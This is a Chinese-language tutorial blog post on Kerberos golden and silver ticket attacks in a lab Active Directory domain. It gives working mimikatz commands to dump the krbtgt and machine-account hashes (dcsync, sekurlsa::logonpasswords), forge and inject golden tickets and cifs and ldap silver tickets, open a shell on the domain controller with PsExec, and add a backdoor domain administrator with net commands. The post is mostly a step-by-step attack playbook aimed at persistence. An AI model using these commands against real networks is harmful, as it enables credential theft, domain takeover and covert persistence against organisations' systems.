admin管理员组

文章数量:1637860

可以把kerberos认证流程简要的分为三个部分:

  1. 第一部分:client向AS证明自己的身份的过程,目标是获取TGT票据
  2. 第二部分:TGS通过client的TGT判断其是否有服务的访问权限,目标是获取ST
  3. 第三部分:client拿着ST票据与服务端进行通信

在域环境中进行权限维持,谈的比较多的便是票据,分为白银票据和黄金票据, 其原理都是基于Kerberos认证。黄金票据伪造的是域管下发给用户的TGT,而白银票据则是伪造的 ST。

  • 域控 192.168.10.2
  • 域普通机器:win7
  • 域管理员机器:win2012

黄金票据

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会返回给Client一个Logon Session Key(请求用户client的NTLM hash对Session-key as进行加密)和TGT。而Logon Session Key并不会保存在KDC中,krbtgt(Krbtgt是域控中管理发放票据的用户)的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了黄金金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

利用场景

假设这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

利用条件

  • 域名
  • 域 SID
  • krbtgt用户Hash
  • 伪造的用户名,可以是任意用户,通常是administrator

其中只有krbtgt的哈希需要域管理员权限才能获取,其他的普通域用户就能获取。所以只需获得krbtgt的哈希就能伪造黄金票据。

黄金票据生成

假设我们获取了win2012的域管理员权限并导出了域内所有的账户Hash,包括krbtgt账户,由于有些原因导致我们对域管权限丢失,但好在还有一个普通域用户权限就是win7这台机器,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们能利用该票据重新获得域管理员权限。

在yuwin2012域管理员上获取如下信息

1. 获取域名

2. 获取域sid

注意不要最后一个字段,S-1-5-21-587556175-550635965-2643831430(除了最后4位数不一样,前面的数字所有域用户都一样)

3. 获取krbtgt 的 NTLM Hash

在yuwin2012上执行(需域管理员权限才能导出krbtgt的哈希)

mimikatz.exe "lsadump::dcsync  /domain:test.lab /user:krbtgt" exit

收集以上信息为:

  • 域名:test.lab
  • 域sid: S-1-5-21-587556175-550635965-2643831430
  • krbtgt hash: 6412c19ffa5a50cd63fe27917ef83f54
  • 伪造用户:administrator

但是后面这台机器权限丢失了,由于我们收集了这些信息,我们可以在win7域普通机器上获得域管理员权限。

在win7上清空票据缓存("kerberos::purge"),生成票据并直接注入内存

mimikatz "kerberos::purge" "kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-587556175-550635965-2643831430 /krbtgt:6412c19ffa5a50cd63fe27917ef83f54 /ptt" exit
#或者先把tgt票据导出来,导出文件test.kiribi
mimikatz "kerberos::purge" "kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-2196907948-52438630-2517523304  /krbtgt:4c3526cd74a0de23b0e95bda3aceb4bc /ticket:test.kiribi" exit
#再将票据注入内存
mimikatz "kerberos::ptt test.kiribi" exit

此时可以访问域控了

查看注入的票据 klist。清除票据为:klist purge

可以直接用psexec反弹shell,因为注入了黄金票据,所以不需要用户名和密码

PsExec64.exe \\dc cmd -accepteula

添加域管理员

net user test admin@123 /add /domain            添加域用户
net group "domain admins" test /add /domain     加入域管理员组
net group "domain admins" /domain               查看域管理员

此如果当前机器重启票据就会丢失,我们只需重新将票据注入内存即可。如果域控重启但未修改krbtgt票据,不影响当前注入的票据

白银票据

白银票据是伪造的ST。在Kerberos认证的第三步,Client带着ST和Session-key tgs加密的Client-info、timestamp作为一部分内容,总共两部分内容向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Server NTLM 解密ST,从而获得Session-key tgs 。通过Session-key tgs解析那一部分内容,进而验证对方的身份。验证成功就让 Client 访问server上的指定服务了。

所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的票据只对部分服务起作用。

利用条件

  • 域名
  • 域SID
  • 域控计算机名.域名
  • 可利用的服务
  • DC机器账户的hash
  • 伪造的用户名(随便写)

白银票据生成

1. 首先在域控中执行hostname查看机器名,然后执行如下获取域控机器名(机器名$)的hash值

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

2. 获取域sid

3. 可利用的服务

因为伪造的是白银票据,没有TGT去不断申请ticket,所以只能针对某一些系统服务来进行伪造。

收集以上信息为:

  • 域名:test.lab
  • 域sid: S-1-5-21-2196907948-52438630-2517523304
  • 目标计算机名.域名:DC.test.lab
  • 域控机器名哈希:928aed96faa72877a37011def782177f
  • 可利用的服务:xx

白银票据在各种服务中的利用

为cifs服务伪造票据

为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括c $共享,我们能够将文件拷贝到共享文件中。

使用mimikatz进行票据生成并注入内存

mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-2196907948-52438630-2517523304 /target:DC.test.lab /service:cifs /rc4:928aed96faa72877a37011def782177f /user:gu /ptt" exit

成功访问域控c盘目录

ps: 伪造cifs服务票据只能访问到目录内容,而不能像黄金票据一样可以用psexec这样的工具进行连接

为LDAP服务伪造票据

为ldap服务伪造票据并注入内存,只需将/service修改为ldap即可

mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-2196907948-52438630-2517523304 /target:DC.test.lab /service:ldap /rc4:928aed96faa72877a37011def782177f /user:gu /ptt" exit

即可导出用户hash

#导出krbtgt hash
mimikatz "lsadump::dcsync /dc:DC.test.lab /domain:test.lab /user:krbtgt"
#导出administrator hash

黄金、白银票据的区别

本文标签: 票据详解权限黄金